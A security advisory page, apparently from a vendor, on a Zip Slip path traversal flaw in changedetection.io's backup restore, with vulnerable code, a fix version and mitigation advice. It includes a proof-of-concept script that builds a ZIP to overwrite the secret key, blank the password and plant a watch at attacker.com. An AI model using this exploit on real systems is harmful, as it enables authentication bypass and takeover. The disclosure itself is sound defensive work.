GHSA-25g8-2mcf-fcx9 — changedetection-io
Fix: dgtlmoon/changedetection.io@1d7d812GHSA-25g8-2mcf-fcx9 is a Path Traversal vulnerability in changedetection-io. A fix is available for changedetection-io — see the affected versions and patch details below.
changedetection.io has Zip Slip vulnerability in the backup restore functionality
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-25g8-2mcf-fcx9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
changedetection-ioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.
Details
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.
Vulnerable Code (lines 50-53):
def restore_backup(self, filename):
with zipfile.ZipFile(filename, 'r') as zip_ref:
# VULNERABLE: No path validation before extraction
zip_ref.extractall(self.datastore_path)
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.
| Path in ZIP | Target File | Impact |
|---|---|---|
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |
Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations
PoC
Step 1: Create Malicious ZIP
import zipfile
import json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
# Escape extraction directory with ../
zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
zf.writestr("../changedetection.json", json.dumps({
"settings": {"application": {"password": ""}}
}))
zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
"url": "https://attacker.com/zipslip-pwned",
"title": "🔴 ZIPSLIP-PROOF"
}))
Step 2: Upload via Restore Endpoint
-F "[email protected]" \
-F "include_watches=y" \
-F "include_settings=y"
###Step 3: Verify Path Traversal
Check if watch escaped to /datastore/
###ls -la /datastore/
Look for: pwned-uuid-1234/
Verify in UI
curl "http://target:5000/" | grep "ZIPSLIP"
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | changedetection-io | all versions | 0.54.4pip install --upgrade 'changedetection-io==0.54.4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-25g8-2mcf-fcx9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-25g8-2mcf-fcx9 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-25g8-2mcf-fcx9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-25g8-2mcf-fcx9 in your dependencies?
O3 Security finds GHSA-25g8-2mcf-fcx9 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.